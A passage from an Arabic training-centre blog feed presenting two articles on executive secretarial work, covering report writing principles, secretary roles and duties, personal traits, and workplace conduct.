يتأثرون بشكل خاص بل ويشعرون بالإهانة إذا لم يبادلهم الآخرون نفس

 

  1. القيادي
  • أقوياء وحاسمون و يركزون على النتائج.
  • يتحمسون أكثر من اللازم ويحتفظون بعواطفهم لأنفسهم.
  • يقدمون توجيها قويا لهؤلاء الذين يحتاجونه والذين لا يحتاجونه.
  • يستاءون من الذين يبددون أوقاتهم فى حديث تافه.
  1. التعبيرى
  • يرغبون فى قضاء أوقات سعيدة ومتحمسون ومبدعون.
  • يعتمدون على الحدس فى عملهم.
  • يتسامحون قليلا مع من يختلف معهم.
  • إقناعهم بالقيام بمهمة ما يعد مهمة فى ذاتها.

 

 

التقارير وسيلة اتصال فعالة

 

 

فوائد التقرير المكتوب والعرض الشفهى

  • اجابة استفسارات القارئ فى وقت قصير
  • التركيز على النقاط الأساسية وتوضيحها
  • القدرات الشخصية فى التأثير والإقناع
  • وسائل الايضاح كأدوات للتشويق والإقناع
  • اعطاء القارئ وقت كافى للدراسة وتكوين الرأى

 

 

خصائص التقرير الجيد

 

 

 

 

المبادئ الأساسية في كتابة التقارير

 

 

 

أولا: مبادئ طريقة الكتابة 

  • 1- تجنب استخدام الألفاظ الجازمة ( النتائج المثالية )
  • 2- تجنب الأحكام القاطعة ( فشل النظام الحالي للشركة ) .
  • 3- تجنب الكلمات المثيرة للمشاعر( تمثل كارثة ، أرقاماً جنونية
  • 4- تجنب استخدام الضمير الأول ( أنا ) .
  • 5- كتابة التقرير بلغة يفهما قارئه .( مراعاة مستوى التعليم واللغة ).
  • 6- استخدام جمل قصيرة ذات معنى واضح ومحدد .
  • 7- البعد عن الجوانب الفنية المتخصصة .
  • 8- استخدام علامات الفصل المناسبة بين السطور والفقرات والصفحات .

 

كيف تبدأ؟

  • حدد الهدف من الرسالة.
  • حدد متلقي الرسالة.
  • حدد المعلومات والأسلوب اللازم لتحقيق الهدف.
  • أبدا بكتابة بعض الأفكار حول الموضوع، وراجع ما كتبت.
  • استخلص الأفكار الرئيسية مما كتبت.
  • حاول وضع هذه الأفكار في صورة متسلسلة.

 

خطوات كتابة محتوى العرض

  • ضع الهيكل البنائى للرسالة وراجعه جيداً.
  • جهز مكان ملائماً لا تتعرض فيه لمقاطعات أثناء الكتابة.
  • رتب الوثائق والمعلومات التي تحتاج إليها في الموضوع.
  • أبدا بكتابة المسودة الأولى.
  • راجع ما كتبت: دقة المعلومات، اللغة، التناسق والترابط.
  • أعد الكتابة مرة أخرى, بعد التصحيح.
  • اعرض الرسالة على مدقق لغوي، ثم ألقها على أحد الزملاء.

 

خصائص النص الجيد 

  • 1. التناسق: ترابط المقاطع، ترتيب المعلومات، تدرج المعاني نحو الهدف.
  • الإيجاز: منع التكرار، استخدام أقل عدد من الكلمات، عدم استخدام الحقائق المعروفة بدون هدف، السرد والتفاصيل.
  • التوازي: العناصر المتوازية لها نفس التركيب اللغوي.
  • الإستنتاج المنطقي: أن تكون النتائج مبنية على المقدمات بدون مبالغة أو قفز إلى النتائج.

 

طرق الربط والإنتقال

  • الإضافة: أيضاً، مرة أخرى، وبعد ذلك، بالإضافة إلى، وعلى نفس القدر من الأهمية، وأخيراً ويتلو ذلك.
  • المقارنة: بينما، ولكن، ومن ناحية أخرى، وباستثناء، بالمقارنة، وعلى النقيض، وعلى العكس، مع أن وعلى الرغم.
  • السببية: بناءاً على، بسبب، حيث أن، حقاً, في الواقع.
  • التأكيد: ومن الطبيعي، بالتأكيد، مطلقاً، بدون أدنى شك.
  • التتالي: أولاً- ثانياً، ومن هنا، وبعد ذلك.

 

ثانياً : مبادئ التنظيم للتقرير  

  • 1- أن يكون كل جزء في صفحة مستقلة .
  • 2- تمييز العناوين الرئيسية والفرعية .
  • 3- أن يكون الترقيم مفهوم وغير متداخل .
  • 4- تمييز بداية كل فقرة جديدة .
  • 5- مراعاة دقة صفحة المحتويات .
  • 6- أن يكون للتقرير مفيدة مفيدة ومختصرة .

 

ثالثاً: مبادئ إخراج التقرير  

  • 1- استبعاد كافة الأخطاء المطبعية .
  • 2- مراعاة المظهر الخارجي للتقرير .
  • 3- فصل أجزاء التقرير خاصة إذا كان كبير الحجم .
  • 4- ضرورة استخدام وسائل الشرح والإيضاح المناسبة .

عناصر عملية التدقيق والمراجعة:

مراجعة الجمل: كل جملة تتكون من فعل وفاعل أو مبتدأ وخبر- عدم التداخل بين أكثر من جملة.

النقط والفواصل: كل جملة تنتهي بنقطة أو علامات استفهام أو تعجب. كل فكرة جزئية تنتهي بفاصلة، عناصر السلسلة تنتهي بفاصلة، الإختصارات يعقبها نقطة.

توافق الفعل مع الفاعل: المفرد و الجمع.

طول الجملة: يرى كثير من الكتاب ألا تزيد عن 25 كلمة.

الأزمنة: يجب أن يتناسق استخدام الأزمنة في الجملة الواحدة وفي إجمإلي النص.

المقاطع: كل مقطع يحتوي على فكرة أساسية واحدة. يتم استخدام وسائل الربط الملائمة.

 

اطار التقرير وتركيبه الهيكلى

 

الأجزاء الرئيسية

  1. صفحة العنوان
  2. متن التقرير
  3. الخاتمة

1 – صفحة العنوان

 

الشركة الوطنية لاستخدام الزيت وتكريره

ادارة / قسم / …….

تقرير عن ……………..

((عنوان التقرير))

مقدم الى/ …………….

اعداد/ …………….

التاريخ/ ……………..

 

 

2 – متن التقرير

  1. التسلسل المنطقى لعناصر التقرير
  2. الفقرات القصيرة لا تطويل ممل ولا تقصير مخل
  3. مراعاة نظام موحد للترقيم فى جميع صفحات التقرير

*   *   *

انتهت بحمد الله المقالة الثانية من مسار كيم التعليمى للسكرتارية التنفيذية

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/executive_secretarial-2/feed/ 0 سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الأولى https://cameknowledge.camecenter.com/articles/executive_secretarial-1/ https://cameknowledge.camecenter.com/articles/executive_secretarial-1/#respond Mon, 03 Apr 2023 15:51:59 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10356 سلسلة مقالات – السكرتارية التنفيذية إعداد/ مركز كيم  المقالة الأولى ماهية السكرتارية التنفيذية تعريف السكرتارية: هي تلك الوظيفة التي تقدم معاونات أو خدمات للإدارات أو الرؤساء ، سواء كانت هذه المعاونات أو الخدمات فنية أو مكتبية ، حتى تتمكن الإدارات أو الرؤساء من إنجاز عملها بطريقة ميسرة وفي أقل وقت ممكن وبأقل تكلفة. ونتيجة لكبر […]

The post سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – السكرتارية التنفيذية

إعداد/ مركز كيم 

المقالة الأولى

ماهية السكرتارية التنفيذية

تعريف السكرتارية:

هي تلك الوظيفة التي تقدم معاونات أو خدمات للإدارات أو الرؤساء ، سواء كانت هذه المعاونات أو الخدمات فنية أو مكتبية ، حتى تتمكن الإدارات أو الرؤساء من إنجاز عملها بطريقة ميسرة وفي أقل وقت ممكن وبأقل تكلفة. ونتيجة لكبر حجم المنظمات الحكومية والاقتصادية ، فقد زاد حجم الأعباء الملقاة على عاتق الوحدات الإدارية ،وكبر حجم المعلومات المطلوبة لها التي تتطلب قدراً كبيراً من المعاونة في تسيير نقلها لهذه المعلومات بين الوحدات الإدارية وتنظيم حفظ وتخزين هذه المعلومات والمعاونة في استرجاع هذه المعلومات في أقل وقت ممكن ، مما يمكن الإدارة من الاعتماد على تلك المعلومات في إصدار القرارات الرشيدة .

وتقوم وحدات السكرتارية بمعاونة تلك الوحدات الإدارية في تقديم الخدمات والمعلومات في المجالات الفنية والمكتبية ، حتى أنها تعتبر القلب النابض الذي يمد كافة الأجهزة بما يلزمها ، فإذا توقف القلب أو عجز عن أداء مهمته ، فان ذلك يؤدي بالضرورة إلى عجز وفشل هذه الوحدات والأجهزة عن القيام بمهمتها الأساسية . 

وتعرف جمعية السكرتيرين المحترفين الدولية السكرتير كما يلي “

 مساعد إداري يتقن مهارات إدارية ويظهر القدرة على تحمل المسؤولية دون إشراف مباشر، ويتمتع بالقدرة على التصرف والمبادرة ويتخذ قرارات في حدود الصلاحيات الممنوحة له”.

أهمية السكرتاريه :

تهدف السكرتارية الى تقديم الخدمات المكتبية المتعلقة بروتين العمل وتفصيلاته أو الى الإدارات الرئيسة في المنشأة ومن هنا يظهر الدور الفعال للسكرتير في إعفاء المديرين والإدارات الرئيسة من شغل أوقاتهم بالتفكير في هذه الأعمال الروتينية، بحيث يتفرغون كلياً لوظائفهم الرئيسية، من تخطيط وتنظيم ورقابة، وتمدهم بالبيانات والمعلومات اللازمة لاتخاذ القرارات.

والسكرتير يعتبر بمثابة عنصر مهم في المنشأة ولا يمكن الاستغناء عنه بأي حال من الأحوال، ولا يمكن أن تنصور ما يمكن أن يعمله المديرون في المنشآت في حالة غياب السكرتيرين، بالتأكيد سيقضي المديرون وقتاً طويلاً في أداء أعمال روتينية دون أن يكون لديهم الوقت الكافي لأداء المهام والأعمال الرئيسية الهامة.

وتزايد نشاطات السكرتارية بصورة طردية نتيجة لعاملين رئيسين هما :

  • زيادة حجم العمل المكتبي نتيجة نشاطات المنظمات وتعدد العلاقات مع المنظمات الأخرى والجمهور.

  • التطور التكنولوجي في مجال الأعمال المكتبية حيث تطالعنا الشركات المتخصصة في مجال الأجهزة المكتبية يومياً بآلات ومعدات متطورة مرتبطة تماما بنشاطات السكرتارية والأعمال المكتبية.

مكان السكرتارية في الهيكل التنظيمي :

هناك عدة طرق للتنظيم الإداري لأجهزة السكرتارية ، ويتم تحديد الطريقة المثلى الواجب اتباعها في كل جهة إدارية وفقاً لظروفها الخاصة ، فهناك المنظمات الصغيرة ، والمنظمات الكبيرة . وهناك المنظمات المتمركزة في موقع واحد ، و المنظمات الموزعة على عدة مواقع في أماكن جغرافية متفرقة .

ويجب التنويه إلى ضرورة اتباع إطار تنظيمي محدد للسكرتارية حيث ان عدم وجود هذا الإطار المحدد سيؤدي إلى تنازع الاختصاصات وعدم تحديد المسئوليات . ويبدو ذلك في إنشاء العديد من مراكز السكرتارية بدون تنسيق بينها ولا إشراف عليها ، وبالتالي يظهر صعوبة الرقابة على العاملين بها وعدم جدوى تدريبهم لرفع كفايتهم وزيادة مهارتهم . 

وفيما يلي الطرق المتبعة للتنظيم الإداري للسكرتارية :

1- مركزية السكرتارية
2- لامركزية السكرتارية
3- الجمع بين المركزية واللامركزية

1- أعمال السكرتارية.

* الإتصالات الهاتفية وأعمال الاستعلامات.
* تنظيم مواعيد المدير.
* الإعداد وتنظيم الإجتماعات.
* تنظيم وتجهيز البريد الخاص بالمدير.

2- الإتصالات الكتابية:-

* كتابة ونسخ المراسلات بكافة أنواعها مثل: الرسائل الخارجية ، المذكرات الداخلية ، التعاميم.
* إعداد وكتابة التقارير.

3- إجراءات البريد:-

* إعداد وتنظيم البريد الوارد.
* إعداد وتنظيم البريد الصادر.
* إعداد وتنظيم البريد الداخلي.

4- معالجة الكلمات باللغة العربية والإنجليزية:-

* طباعة وتنسيق النصوص بإستخدامMS WORD .

5- تنظيم الملفات:-
* التنظيم الفني للملفات ( التصنيف، الترميز ، الفهارس .
* القيام بتنظيم الأوراق داخل الملفات وتقديم خدمة الاسترجاع.
* القيام بأعمال الفرز والترحيل والإتلاف للملفات التي انتهى العمل بها.

6- إدارة المكاتب:-

* التخطيط لتنفيذ أعمال المكتب.
* تحديد عناصر البيئة المادية للمكتب.

7- الإتصالات الإلكترونية:-

* استخدام البريد الإلكتروني الداخلي والخارجي للجهاز.
* استخدام شبكة الإنترنت.
* استخدام برنامج Gopher نقل الملفات بإستخدام برنامج FTP .

8- برامج الحاسب التطبيقية في مجال السكرتارية:-

* استخدام برنامج اكسل (Excel ) .
* استخدام برنامج بور بوينت ( Power Point ) .
* استخدام جهاز اكسس ( Access ) .


9- استخدام التجهيزات المكتبية الحديثة:-

* استخدام جهاز الفاكس.
* استخدام آلات التصوير

 

أنواع السكرتارية

أولا : السكرتارية العامة :

وهي تمثل المعاونات والخدمات المكتبية التي تقدم لمختلف الإدارات مثل الاتصالات والمحفوظات والنسخ والتصوير وغيره .

ثانيا : السكرتارية الخاصة :

وهي تمثل المعاونات والخدمات المكتبية التي تقدم لمكاتب أحد المديرين أو الرؤساء لتيسير أداء مهمته وإنجاز عمله .

ثالثا : السكرتارية المتخصصة:

ويطلق عليها السكرتارية الفنية ، وهي عبارة عن المكاتب الفنية الاستشارية التي تلحق بمكاتب كبار المسئولين لتقديم ودراسة الاستشارات الفنية المتخصصة على اختلاف أنواعها . مثل السكرتارية القانونية ، السكرتارية المالية ، السكرتارية الاقتصادية، والسكرتارية الطبية والسكرتارية الهندسية وغيرها من مختلف المجالات الفنية ، ويتولى هذه الوظائف أحياناً خبرات من أعلى مستوى ممكن .

 

السكرتير الخاص :

وهو شخص يختاره الرئيس ، يكون موضع ثقته ، ويقوم بمعاونة الرئيس في مختلف الأعمال المكتبية الخاصة بمكتب الرئيس كالاتصالات والمحفوظات والنسخ والمراسلات واعداد التقارير وغير ذلك .

وتطلق كلمة سكرتير ، دلالة على الشخص الذي يعينه الرئيس ليكون أمينا على أسراره ويقدم له المعاونات المختلفة في مجالات الأعمال المكتبية كإعداد المراسلات وحفظ وتخزين واسترجاع المعلومات وإنجاز إجراءات الوارد والصادر بالإضافة إلى إجراء أعمال الاتصالات الأخرى كالهاتفية والبرقية ، وتنظيم استقبالات الزائرين وأيضا تنظيم الاجتماعات الخاصة بمكتب الرئيس .

 

1- الصفات الشخصية الواجب توافرها في السكرتير :

  • حسن المظهر والهندام
    • أن يكون أمينا على أسرار مكتب الرئيس .
    • قوة الشخصية .
    • حسن التصرف .
    • قوة الذاكرة .
    • الالتزام بمواعيد العمل الرسمية .
    • المرونة في التفكير وحب التغير .
    • الإخلاص للرئيس وحبه للعمل .
    • هدوء الأعصاب .

    2- الصفات العلمية الواجب توافرها في السكرتير الخاص :

إذا كانت الصفات الشخصية تعتبر من الأساسيات التي يجب الاعتماد عليها عند اختيار السكرتير الخاص ، حيث يصعب تحسينها أو تغييرها في معظم الأحوال ، فمثلاً الأشخاص الذين يتسمون بالانفعال في أي موقف قد يصعب مثلاً أن يتحولوا إلى أشخاص يتسمون بالثبات الانفعالي .

فان الصفات العلمية يمكن للجميع اكتسابها ، بقدر من التعليم والتدريب ، وخاصة في معاهد السكرتارية ومراكز التدريب المتخصصة في ذلك النوع من التعليم والتدريب ، والتي تعمل على تنمية قدرات ومهارات السكرتير في مختلف أعمال السكرتارية . بشرط أن يكون للسكرتير الرغبة والمثابرة على التعليم والتدريب على هذه الصفات.

3- القدرات والصفات الواجب على السكرتير أن يتعلمها ويتدرب عليها لتنمية قدراته:
1. معرفة أصول إدارة وتنظيم المكاتب .

  1. معرفة اختصاصات الإدارات التي يشرف عليها الرئيس .
  2. تعلم الأسلوب السليم للكتابة على الآلة الكاتبة بالدقة والسرعة اللازمة .

  3. معرفة النواحي المتعلقة بالاتصالات الكتابية والتي تشمل :
  • إعداد وصياغة المراسلات بمختلف أنواعها .
  • تنفيذ إجراءات البريد الوارد والبريد الصادر وكيفية تداول المراسلات الداخلية بين الإدارات بالمنظمة.
  • مهارة استخدام الأجهزة المكتبية المختلفة للاتصالات المكتبة .

5- معرفة النواحي المتعلقة بالاتصالات الشفوية والتي تشمل :

  • تنظيم الاتصالات الهاتفية الخاصة بمكتب الرئيس ومعالجة المكالمات الواردة والصادرة .
  • تنظيم مقابلات الزوار لمكتب الرئيس والقواعد الواجب اتباعها في استقبال الزوار.
  • تنظيم الاجتماعات الخاصة بمكتب الرئيس.
  • مهارة استخدام الأجهزة المكتبية المختلفة والمرتبطة بالاتصالات الشفوية.

6- الإلمام بالطرق العلمية السليمة لتنظيم حفظ المعلومات .

7- الإلمام بقدر كاف ببعض اللغات الأجنبية خاصة المنظمات التي لها علاقات بجهات أجنبية .

أهم الواجبات والاختصاصات للسكرتير الخاص :

  1. إعداد وصياغة المراسلات والمذكرات والقرارات والتقارير الخاصة بمكتب الرئيس
    2. استقبال البريد الوارد الخاص بمكتب الرئيس وكذلك تصدير المراسلات الصادرة .
  2. تنظيم حفظ الوثائق الخاصة بمكتب الرئيس بطريقة علمية وعملية وسليمة
  3. استقبال المكالمات الهاتفية الواردة والرد عليها .
  4. تنظيم الاستقبالات والزيارات بمكتب الرئيس .
  5. تنظيم الاجتماعات الخاصة بمكتب الرئيس .
  6. مساعدة الرئيس في الإعداد لرحلاته وتقديم المعاونة المكتبية اللازمة أثناء وبعد سفر الرئيس
  7. متابعة وعرض المقالات والأخبار الصحفية والتي لها علاقة بعمل مكتب الرئيس .
  8. تلخيص المكاتبات المطولة الواردة لمكتب الرئيس .

الصفات العلمية الواجب توافرها في السكرتير العام :

  1. إدارة المكاتب .
  2. اللغات الأجنبية .
  3. الحفظ والتصنيف .
  4. معلومات عن الجهاز الإداري .
  5. ا لآلة الناسخة .
  6. علم النفس والعلاقات الإنسانية .
  7. أساليب كتابة المراسلات .
  8. التعبير.


مقومات السكرتير

يتعين على السكرتير الماهر إضافة إلى تأهله تأهيلا علميا مناسبا، ضرورة تمتعه بمجموعة من المقومات الشخصية الخاصة بهم. ويقصد بذلك مجموعة الخصائص الشخصية والنفسية التي تتوافر بشكل عام في الشخص ذاته، طبيعته العامة، ومقوماته الخاصة، والتي يختلف بها عن غيره من الأشخاص. وهذه المقومات ضرورية وهامة جدا لنجاح السكرتير في أداء عمله بالكفاءة العالية ولتحقيق المستوى الجيد من الأداء.

 

ومن هذه المقومات:-

1- الشكل العام: وهو ما يطلق عليه الوجه المقبول، السمح، المبتسم الابتسامة المريحة، التي تبعث على الارتياح. 

2- حسن المظهر: يتفق هذا العامل مع طبيعة عمل السكرتير- ويعد من الضروريات الهامة لنجاح العمل، وتحقيق الهدف الكامل من الوظيفة، حيث يكون السكرتير في مقدمة المستقبلين للزوار، وعملاء المؤسسة.

ويتطلع الزائرون للمنشأة دائما إلى مقابلة السكرتير، ومن خلال تلك المقابلة الأولى، يستطيع الزائر أن يأخذ انطباعا جيدا عن المنشأة، التي يقوم بزيارتها أو العكس، ويتعين التمتع بالبساطة، والأناقة المعتدلة.

3- الحكمة والصبر: يتطلب ذلك التمتع بمقومات شخصية: بعدم التسرع في الحكم على الأشياء، ولابد من الصبر عند مواجهة الأمور الصعبة، والمشاكل المفاجئة والطارئة، ومحاولة استيعابها واستعمال العقل في حلها. 

4– التفكير المنظم المنطقي: عند طرح المواضيع والأمور العملية، لابد من السكرتير بدراسة هذه المواضيع بتمعن، حتى يستطيع من خلال ذلك اتخاذ القرار الصحيح والمناسب، وإبداء المشورة والنصح، والرأي السليم عند اللزوم.

5– أمانة السر: لابد من توافر المقدرة الشخصية، للمحافظة على كافة الأسرار التي اطلع ويطلع عليها أثناء خدمته. حيث أن طبيعة عمل السكرتير تسمح له بصفة مستمرة الإطلاع على كثير من أسرار العمل. لذا يتعين أن يكون شاغل هذه الوظيفة متمتعا بالأمانة، والصدق في المعاملة، حتى يتمكن من شغل هذه الوظيفة.

 

سلوك السكرتارية مع الآخرين:

سلوك السكرتير مع رئيسه

        Øاحترام الرئيس.

    Ø    الالتزام والانتظام فى مواعيد العمل .

    Ø          تنفيذ المهام الموكلة اليه فى الوقت المناسب.

        Øالتحدث بادب واحترام .

        Øحل مشاكل العمل التى لا تتطلب تدخل الرئيس .

        Øعدم اساءة استخدام السلطة.

        Øحسن الاستماع وعدم المقاطعة .

Ø        تنفيذ كافة الاوامر والتعليمات الصادرة اليه دون نقص فى الوقت المناسب .

سلوك السكرتير مع الزائرين

        Øالاستقبال والترحيب المناسب مع اداب المجاملة .

        Øاللباقة والتادب فى الحديث .

        Øتقديم المساعدة الممكنة للزائرين لتحقيق مطالبهم ورغباتهم .

        Øالتعرف على اسباب الزيارة للتاكد من جدواها .

Ø        مراعاة مصلحة العمل مع مراعاة شعور الزائر

سلوك السكرتير مع الزملاء

        Øالمعاملة الحسنة لكافة الزملاء ومراعاة شعورهم .

        Øالتعاون وتقديم المعونة عند طلبها .

        Øالمساهمة مع الزملاء فى تنفيذ الاعمال .

        Øتجنب السلبية والاهمال .

        Øعدم التدخل فى اختصاصات الغير .

        Øالشعور بالمسئولية .

Ø        مراعاة التسلسل الوظيفى .

*   *   *

انتهت بحمد الله المقالة الأولى من مسار كيم التعليمى للسكرتارية التنفيذية

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/executive_secretarial-1/feed/ 0